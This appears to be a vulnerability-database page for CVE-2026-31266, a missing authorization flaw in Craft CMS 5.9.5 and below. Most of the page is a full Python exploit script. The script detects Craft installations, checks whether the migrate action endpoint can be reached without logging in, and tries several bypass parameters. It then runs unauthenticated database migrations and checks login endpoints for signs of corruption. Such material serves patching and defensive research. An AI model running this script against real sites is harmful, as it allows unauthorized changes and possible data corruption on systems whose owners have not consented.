PACKETSTORM 7.3 HIGH

📄 Craft CMS 5.9.5 Missing Authorization / Authentication Bypass_PACKETSTORM:223224

7.3 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Description

This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions of Craft CMS that may permit unauthorized access to privileged migration functionality. Versions 5.9.5 and below are affected...
Visit Original Source

Basic Information

ID PACKETSTORM:223224
Published Jun 11, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Craft CMS ≤ 5.9.5 Missing Authorization Vulnerability – Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://craftcms.com |
==================================================================================================================================

[+] Summary : This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions
of Craft CMS that may permit unauthorized access to privileged migration functionality.

[+] POC :


#!/usr/bin/env python3

import requests
import sys
import argparse
import time
import json
import re
from urllib.parse import urljoin, urlparse

BANNER = """
╔══════════════════════════════════════════════════════════════════════════════╗
║ Craft CMS Missing Authorization Exploit (CVE-2026-31266) ║
║ Affected: Craft CMS <= 5.9.5 ║
║ Type: Missing Authorization -> Authentication Bypass ║
║ Discovered by: indoushka ║
╚══════════════════════════════════════════════════════════════════════════════╝
"""

class CraftCMSExploit:
def __init__(self, target_url, verbose=False, timeout=10):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded"
})
self.base_action_url = f"{self.target_url}/actions/app/migrate"

def log(self, msg, level="INFO"):
"""Print formatted messages"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"DATA": "\033[96m[>]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")

def check_craft_cms(self):
"""Check if target is running Craft CMS"""
self.log("Checking if target is Craft CMS...")

checks = [
"/admin/login",
"/index.php?p=admin/login",
"/actions/users/login",
"/cp",
"/admin/actions/users/login"
]

for check in checks:
try:
url = f"{self.target_url}{check}"
response = self.session.get(url, timeout=self.timeout)

if response.status_code == 200:
if "craft" in response.text.lower() or "cms" in response.text.lower():
self.log(f"Craft CMS detected at: {url}", "SUCCESS")
return True
except:
continue

self.log("Could not confirm Craft CMS", "WARNING")
return False

def test_migrate_endpoint(self):
"""Test if the migrate endpoint is accessible anonymously"""
self.log("Testing migrate endpoint accessibility...")

try:
response = self.session.post(
self.base_action_url,
data={},
timeout=self.timeout
)

if self.verbose:
self.log(f"Response Status: {response.status_code}", "DATA")
self.log(f"Response Headers: {dict(response.headers)}", "DATA")

if response.status_code == 200:
self.log("Migrate endpoint is accessible! (200 OK)", "SUCCESS")
return True
elif response.status_code == 403:
self.log("Migrate endpoint is protected (403 Forbidden)", "INFO")
return False
elif response.status_code == 404:
self.log("Migrate endpoint not found (404)", "INFO")
return False
else:
self.log(f"Unexpected response: {response.status_code}", "WARNING")
return response.status_code == 200

except requests.exceptions.RequestException as e:
self.log(f"Error testing endpoint: {e}", "ERROR")
return False

def execute_migration(self, migration_params=None):
"""
Execute migration via the vulnerable endpoint

Args:
migration_params: Optional parameters for migration
"""
self.log("Attempting to execute migration...")

data = migration_params or {}

try:
response = self.session.post(
self.base_action_url,
data=data,
timeout=self.timeout
)

if self.verbose:
self.log(f"Request URL: {self.base_action_url}", "DATA")
self.log(f"Request Data: {data}", "DATA")
self.log(f"Response Status: {response.status_code}", "DATA")

return response

except requests.exceptions.RequestException as e:
self.log(f"Error executing migration: {e}", "ERROR")
return None

def check_database_tables(self, table_names=None):
"""
Check if database tables have been affected
This is a detection method based on the vulnerability impact
"""
if not table_names:
table_names = ['sessions', 'users', 'craft_session', 'craft_users']

self.log("Checking for database impact...")

for table in table_names:

test_endpoints = [
f"{self.target_url}/actions/users/login",
f"{self.target_url}/admin/actions/users/login",
f"{self.target_url}/index.php?p=admin/actions/users/login"
]

for endpoint in test_endpoints:
try:
response = self.session.post(endpoint, data={
"loginName": "test",
"password": "test"
}, timeout=self.timeout)

if response.status_code == 500 or "database" in response.text.lower():
if "sessions" in response.text.lower() or "table" in response.text.lower():
self.log(f"Possible database corruption detected: {response.text[:200]}", "WARNING")
return True

except:
continue

return False

def extract_version_info(self):
"""Extract Craft CMS version information"""
self.log("Attempting to extract version information...")

version_patterns = [
r'Craft CMS (\d+\.\d+\.\d+)',
r'craft\.version\s*=\s*["\'](\d+\.\d+\.\d+)',
r'<meta name="generator" content="Craft CMS (\d+\.\d+\.\d+)"'
]

version_files = [
"/dist/js/craft.js",
"/resources/js/craft.js",
"/admin/dist/js/craft.js",
"/cp/resources/js/craft.js"
]

for file_path in version_files:
try:
url = f"{self.target_url}{file_path}"
response = self.session.get(url, timeout=self.timeout)

if response.status_code == 200:
for pattern in version_patterns:
match = re.search(pattern, response.text)
if match:
version = match.group(1)
self.log(f"Detected Craft CMS version: {version}", "SUCCESS")
return version
except:
continue

self.log("Could not determine exact version", "WARNING")
return None

def attempt_bypass_with_params(self, param_combinations=None):
"""Attempt to bypass with different parameter combinations"""
if not param_combinations:
param_combinations = [
{},
{"allowAdminChanges": "1"},
{"allowAdminChanges": "true"},
{"allowAnonymous": "1"},
{"force": "1"},
{"force": "true"},
{"skipBackup": "1"},
{"skipBackup": "true"},
{"allowAdminChanges": "1", "force": "1"},
{"allowAdminChanges": "1", "skipBackup": "1"},
]

self.log(f"Testing {len(param_combinations)} parameter combinations...")

vulnerable_combos = []

for i, params in enumerate(param_combinations, 1):
if self.verbose:
self.log(f"Testing combo {i}/{len(param_combinations)}: {params}")

response = self.execute_migration(params)

if response and response.status_code == 200:
self.log(f"Successful bypass with params: {params}", "SUCCESS")
vulnerable_combos.append(params)
elif response and response.status_code == 500 and self.verbose:
self.log(f"Error with params {params}: {response.text[:100]}")

time.sleep(0.5)

return vulnerable_combos

def generate_attack_report(self, success):
"""Generate attack report"""
report = {
"target": self.target_url,
"vulnerability": "CVE-2026-31266 - Missing Authorization",
"affected_versions": "Craft CMS <= 5.9.5",
"attack_successful": success,
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
"endpoint_tested": self.base_action_url
}

print("\n" + "=" * 60)
print("ATTACK REPORT")
print("=" * 60)
print(json.dumps(report, indent=2))
print("=" * 60)

return report

def full_attack(self):
"""Execute full attack chain"""
self.log("Starting full attack chain...")

is_craft = self.check_craft_cms()
if not is_craft:
self.log("Target may not be Craft CMS, continuing anyway...", "WARNING")

version = self.extract_version_info()
if version:
self.log(f"Target version: {version}")
if self.compare_versions(version, "5.9.5") > 0:
self.log("Target version appears to be patched", "WARNING")

is_vulnerable = self.test_migrate_endpoint()

if not is_vulnerable:
self.log("Initial test suggests endpoint is protected", "WARNING")
self.log("Attempting bypass techniques...")
vulnerable_combos = self.attempt_bypass_with_params()
is_vulnerable = len(vulnerable_combos) > 0

if is_vulnerable:
self.log("Vulnerability confirmed! Executing attack...", "SUCCESS")
response = self.execute_migration()

if response:
self.log("Attack executed successfully!", "SUCCESS")
if self.verbose:
print(f"\nResponse content:\n{response.text[:500]}")

self.check_database_tables()

self.generate_attack_report(True)
return True
else:
self.log("Target does not appear to be vulnerable", "ERROR")
self.generate_attack_report(False)
return False

@staticmethod
def compare_versions(version1, version2):
"""Compare two version strings"""
def normalize(v):
return [int(x) for x in v.split('.')]

v1 = normalize(version1)
v2 = normalize(version2)

for i in range(min(len(v1), len(v2))):
if v1[i] != v2[i]:
return v1[i] - v2[i]
return len(v1) - len(v2)

def check_vulnerability(target_url):
"""Quick vulnerability check"""
exploit = CraftCMSExploit(target_url, verbose=False)
return exploit.test_migrate_endpoint()


def exploit_single(target_url, verbose=False):
"""Single target exploitation"""
exploit = CraftCMSExploit(target_url, verbose)
return exploit.full_attack()

def main():
parser = argparse.ArgumentParser(description="Craft CMS Missing Authorization Exploit (CVE-2026-31266)")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8080)")
parser.add_argument("--check", action="store_true", help="Quick vulnerability check only")
parser.add_argument("--extract-version", action="store_true", help="Extract Craft CMS version")
parser.add_argument("--bypass", action="store_true", help="Attempt parameter bypass techniques")
parser.add_argument("--test-migrate", action="store_true", help="Test migrate endpoint only")
parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")

args = parser.parse_args()

print(BANNER)

if args.check:
print("\n[*] Performing quick vulnerability check...")
is_vulnerable = check_vulnerability(args.url)
if is_vulnerable:
print(f"\n[+] {args.url} appears to be VULNERABLE to CVE-2026-31266")
else:
print(f"\n[-] {args.url} does not appear to be vulnerable")
return

exploit = CraftCMSExploit(args.url, args.verbose)

if args.extract_version:
exploit.extract_version_info()
return

if args.test_migrate:
result = exploit.test_migrate_endpoint()
if result:
print("\n[+] Migrate endpoint is accessible!")
print("[+] The target is likely vulnerable to CVE-2026-31266")
else:
print("\n[-] Migrate endpoint is not accessible")
return

if args.bypass:
print("\n[*] Attempting parameter bypass techniques...")
vulnerable_combos = exploit.attempt_bypass_with_params()
if vulnerable_combos:
print(f"\n[+] Found {len(vulnerable_combos)} working parameter combinations!")
for combo in vulnerable_combos:
print(f" - {combo}")
else:
print("\n[-] No bypass techniques worked")
return

exploit.full_attack()

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.